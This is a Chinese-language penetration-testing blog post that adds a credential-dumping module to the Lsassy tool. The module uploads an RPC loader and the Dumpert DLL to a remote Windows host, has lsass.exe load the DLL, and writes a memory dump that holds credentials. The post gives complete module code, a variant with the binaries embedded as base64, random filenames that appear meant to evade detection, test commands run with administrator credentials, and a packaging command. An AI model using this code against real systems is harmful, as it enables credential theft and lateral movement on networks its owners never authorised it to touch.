0x00 前言在之前的文章《渗透基础——远程从lsass.exe进程导出凭据》 介紹了Lsassy的用法,Lsassy能夠實現遠程從lsass.exe進程導出憑據。本文將要在Lsassy的基礎上進行二次開發,添加一個導出憑據的方法,記錄細節。
0x01 簡介本文將要介紹以下內容:
马云惹不起马云二次開發的細節
马云惹不起马云 開源代碼
0x02 導出憑據的方法在之前的文章《渗透基础——从lsass.exe进程导出凭据》 提到過使用RPC控制lsass加載SSP的方式向lsass.exe進程注入dll,由dll來實現dump的功能,這個方法是Lsassy缺少的。
這個方法共分為兩部分:
(1)加載器使用RPC控制lsass進程加載dll文件
可參考XPN開源的代碼:
https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e
在編譯代碼時,為了提高通用性,編譯選項選擇在靜態庫中使用MFC,在原代碼的基礎上添加如下代碼:
#pragmacomment(lib,'Rpcrt4.lib')編譯代碼生成文件rpcloader.exe
(2)dll文件dll文件實現從lsass.exe進程導出憑據,代碼可參考:
https://github.com/outflanknl/Dumpert/blob/master/Dumpert-DLL/Outflank-Dumpert-DLL/Dumpert.c
dll加載時會將dump文件保存為c:\windows\Temp\dumpert.dmp
編譯代碼生成文件dumpert.dll
經過以上操作,得到文件rpcloader.exe和dumpert.dll,作為二次開發的準備。
0x03 二次開發的細節1.添加一個需要指定文件路徑的dump方法格式參考:https://github.com/Hackndo/lsassy/blob/master/lsassy/dumpmethod/dummy.py.tpl
根據參考格式寫出模塊代碼,我這裡額外做了一些標記,細節如下:
fromlsassy.dumpmethodimportIDumpMethod,Dependency
classDumpMethod(IDumpMethod):
custom_dump_path_support=False
custom_dump_name_support=False
dump_name='dumpert.dmp'//進程dump文件保存的文件名
dump_share='C$'//進程dump文件保存的磁盤
dump_path='\\Windows\\Temp\\'//進程dump文件保存的路徑
def__init__(self,session,timeout):
super().__init__(session,timeout)
self.loader=Dependency('rpcloader','rpc.exe')//rpcloader為命令行使用的參數名,rpc.exe為上傳文件保存的文件名
self.dll=Dependency('dll','rpc.dll')//dll為命令行使用的參數名,rpc.dll為上傳文件保存的文件名
defprepare(self,options):
returnself.prepare_dependencies(options,[self.loader,self.dll])//確認命令行參數是否正確
defclean(self):
self.clean_dependencies([self.loader,self.dll])//清除上傳的文件
defget_commands(self,dump_path=None,dump_name=None,no_powershell=False):
cmd_command='''{}{}'''.format(
self.loader.get_remote_path(),self.dll.get_remote_path()//執行的命令:c:\windows\temp\rpc.exec:\windows\temp\rpc.dll
)
pwsh_command='''{}{}'''.format(
self.loader.get_remote_path(),self.dll.get_remote_path()
)
return{
'cmd':cmd_command,
'pwsh':pwsh_command
}將以上代碼保存至python \Lib\site-packages\lsassy\dumpmethod\rawrpc.py
注:
上傳的文件可以使用隨機名稱,代碼self.loader=Dependency('rpcloader', 'rpc.exe')
可修改為self.loader=Dependency('rpcloader', ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + '.exe'),代碼self.dll=Dependency('dll', 'rpc.dll')可修改為self.dll=Dependency('dll', ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + '.dll')
測試命令:
lsassy-uAdministrator-pPassword1192.168.1.1-mrawrpc-Orpcloader_path=c:\test\rpcloader.exe,dll_path=c:\test\dumpert.dll該方法會將本地的c:\test\rpcloader.exe和c:\test\dumpert.dll複製到遠程主機並命名為c:\windows\temp\rpc.exe和c:\windows\temp\rpc.dll,將lsass進程的dump文件保存為c:\windows\temp\dumpert.dmp
2.添加一個全自動的dump方法為了使以上整個過程自動化,這裡可以選擇將exe和dll文件作base64編碼保存在變量中。
base64編碼的實現代碼:
importbase64
withopen('rpcloader.exe','rb')asfr:
content=fr.read()
data1=base64.b64encode(content).decode('utf8')
withopen('rpcloader-base64.txt','w')asfw:
fw.write(data1)
withopen('dumpert.dll','rb')asfr:
content=fr.read()
data1=base64.b64encode(content).decode('utf8')
withopen('dumpert-base64.txt','w')asfw:
fw.write(data1)將生成rpcloader-base64.txt和dumpert-base64.txt替換以下代碼中的base64
importbase64
importrandom
importstring
fromlsassy.dumpmethodimportIDumpMethod,Dependency
classDumpMethod(IDumpMethod):
custom_dump_path_support=False
custom_dump_name_support=False
dump_name='dumpert.dmp'
dump_share='C$'
dump_path='\\Windows\\Temp\\'
def__init__(self,session,timeout):
super().__init__(session,timeout)
self.loader=Dependency('rpcloader',''.join(random.choice(string.ascii_letters+string.digits)for_inrange(8))+'.exe')
self.loader.content=base64.b64decode('')
self.dll=Dependency('dll',''.join(random.choice(string.ascii_letters+string.digits)for_inrange(8))+'.dll')
self.dll.content=base64.b64decode('')
defprepare(self,options):
returnself.prepare_dependencies(options,[self.loader,self.dll])
defclean(self):
self.clean_dependencies([self.loader,self.dll])
defget_commands(self,dump_path=None,dump_name=None,no_powershell=False):
cmd_command='''{}{}'''.format(
self.loader.get_remote_path(),self.dll.get_remote_path()
)
pwsh_command='''{}{}'''.format(
self.loader.get_remote_path(),self.dll.get_remote_path()
)
return{
'cmd':cmd_command,
'pwsh':pwsh_command
}將以上代碼保存至python \Lib\site-packages\lsassy\dumpmethod\rawrpc_embedded.py
測試命令:
lsassy-uAdministrator-pPassword1192.168.1.1-mrawrpc_embedded3.打包成exe文件完整的打包命令:
pyinstaller-Fconsole.py--hidden-importunicrypto.backends.pure.DES--hidden-importunicrypto.backends.pure.TDES--hidden-importunicrypto.backends.pure.AES--hidden-importunicrypto.backends.pure.RC4--hidden-importlsassy.dumpmethod.comsvcs--hidden-importlsassy.dumpmethod.comsvcs_stealth--hidden-importlsassy.dumpmethod.d llinject--hidden-importlsassy.dumpmethod.dumpert--hidden-importlsassy.dumpmethod.dumpertdll--hidden-importlsassy.dumpmethod.edrsandblast--hidden-importlsassy.dumpmethod.mirrordump--hidden-importlsassy.dumpmethod.mirrordump_embedded--hidden-importlsassy.dumpmethod.nanodump--hidden-importlsassy.dumpmethod.ppldump--h idden-importlsassy.dumpmethod.ppldump_embedded--hidden-importlsassy.dumpmethod.procdump--hidden-importlsassy.dumpmethod.procdump_embedded--hidden-importlsassy.dumpmethod.rdrleakdiag--hidden-importlsassy.dumpmethod.wer--hidden-importlsassy.exec.mmc--hidden-importlsassy.exec.smb--hidden-importlsassy.exec.smb_stealth --hidden-importlsassy.exec.task--hidden-importlsassy.exec.wmi--hidden-importlsassy.output.grep_output--hidden-importlsassy.output.json_output--hidden-importlsassy.output.pretty_output--hidden-importlsassy.output.table_output--hidden-importlsassy.dumpmethod.rawrpc--hidden-importlsassy.dumpmethod.rawrpc_embedded0x04 小結Lsassy將不同的功能模塊化,結構設置合理,添加dump方法僅需要修改Dumper module對應的實現代碼。我已經將新添加的模塊推送至Lsassy,在最新版的Lsassy可以直接使用這個模塊。
Recommended Comments